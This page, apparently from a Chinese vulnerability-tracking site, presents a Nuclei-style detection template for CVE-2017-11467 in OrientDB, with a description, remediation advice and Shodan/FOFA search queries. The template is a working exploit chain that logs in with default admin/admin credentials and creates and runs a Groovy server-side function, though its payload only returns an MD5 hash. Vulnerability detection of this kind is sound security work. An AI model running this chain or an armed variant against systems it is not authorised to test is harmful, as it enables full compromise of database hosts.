CVE-2017-11467: OrientDB =< 2.2.22 - Remote Code Execution

2026-11-16 PoC Public

Description

OrientDB through 2.2.22 does not enforce privilege requirements during where/fetchplan/order-by use (CVE-2017-11467, CWE-269), letting a user with the default database credentials (admin/admin) create and execute an unsandboxed server-side Groovy function through the HTTP API (port 2480). The Groovy function runs arbitrary JVM code - and OS commands via Runtime/ProcessBuilder - achieving remote code execution. This template lists a database, creates a Groovy function that computes md5(<nonce>), triggers it, confirms code execution when the nonce's md5 is returned, and deletes the function. The payload is pure-JVM (no OS command), so it works on both Windows and Linux.

Details

CVE
CVE-2017-11467 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2017-11467

info:
  name: OrientDB =< 2.2.22 - Remote Code Execution
  author: DhiyaneshDk
  severity: critical
  description: |
    OrientDB through 2.2.22 does not enforce privilege requirements during where/fetchplan/order-by use (CVE-2017-11467, CWE-269), letting a user with the default database credentials (admin/admin) create and execute an unsandboxed server-side Groovy function through the HTTP API (port 2480). The Groovy function runs arbitrary JVM code - and OS commands via Runtime/ProcessBuilder - achieving remote code execution. This template lists a database, creates a Groovy function that computes md5(<nonce>), triggers it, confirms code execution when the nonce's md5 is returned, and deletes the function. The payload is pure-JVM (no OS command), so it works on both Windows and Linux.
  impact: |
    A remote attacker with default OrientDB credentials runs arbitrary JVM and OS commands on the database host, fully compromising it.
  remediation: |
    Upgrade to OrientDB 2.2.23 or later, change the default admin/admin (and reader/writer) credentials, and restrict access to the HTTP (2480) and binary (2424) ports.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2017-11467
    - https://ssd-disclosure.com/ssd-advisory-orientdb-code-execution/
    - https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/orientdb_exec.rb
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2017-11467
    epss-score: 0.73071
    epss-percentile: 0.99465
    cwe-id: CWE-269
  metadata:
    verified: true
    max-request: 4
    shodan-query: product:"OrientDB"
    fofa-query: app="OrientDB"
  tags: cve,cve2017,orientdb,rce,groovy,intrusive,vkev

variables:
  num: "{{rand_int(10000000, 99999999)}}"
  fname: "{{to_lower(rand_text_alpha(8))}}"

flow: http(1) && http(2) && http(3) && http(4)

http:
  - raw:
      - |
        GET /listDatabases HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic YWRtaW46YWRtaW4=

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains(body, 'databases')"
        condition: and
        internal: true

    extractors:
      - type: regex
        name: db
        internal: true
        part: body
        group: 1
        regex:
          - '"databases":\["([^"]+)"'

  - raw:
      - |
        POST /document/{{db}}/-1:-1 HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic YWRtaW46YWRtaW4=
        Content-Type: application/json;charset=UTF-8

        {"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":null,"name":"{{fname}}","language":"groovy","code":"return java.security.MessageDigest.getInstance('MD5').digest('{{num}}'.getBytes()).encodeHex().toString();","parameters":null}

    matchers:
      - type: dsl
        dsl:
          - "status_code == 201"
        internal: true

    extractors:
      - type: regex
        name: rid
        internal: true
        part: body
        group: 1
        regex:
          - '"@rid":"#([0-9]+:[0-9]+)"'

  - raw:
      - |
        POST /function/{{db}}/{{fname}} HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic YWRtaW46YWRtaW4=
        Content-Type: application/json

    matchers:
      - type: dsl
        dsl:
          - "contains(body, md5(num))"

  - raw:
      - |
        DELETE /document/{{db}}/{{rid}} HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic YWRtaW46YWRtaW4=

    matchers:
      - type: dsl
        dsl:
          - "status_code >= 100"
        internal: true
# digest: 4a0a00473045022100df7d1da5e28d2076f10b619ef9427f23cfaa6db1c0fe4915aa95bd92f9706ddf02200d303bc5bcf6e812f7008ca57f94db15aec9c8313c0d14734a0728e418a4823a:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life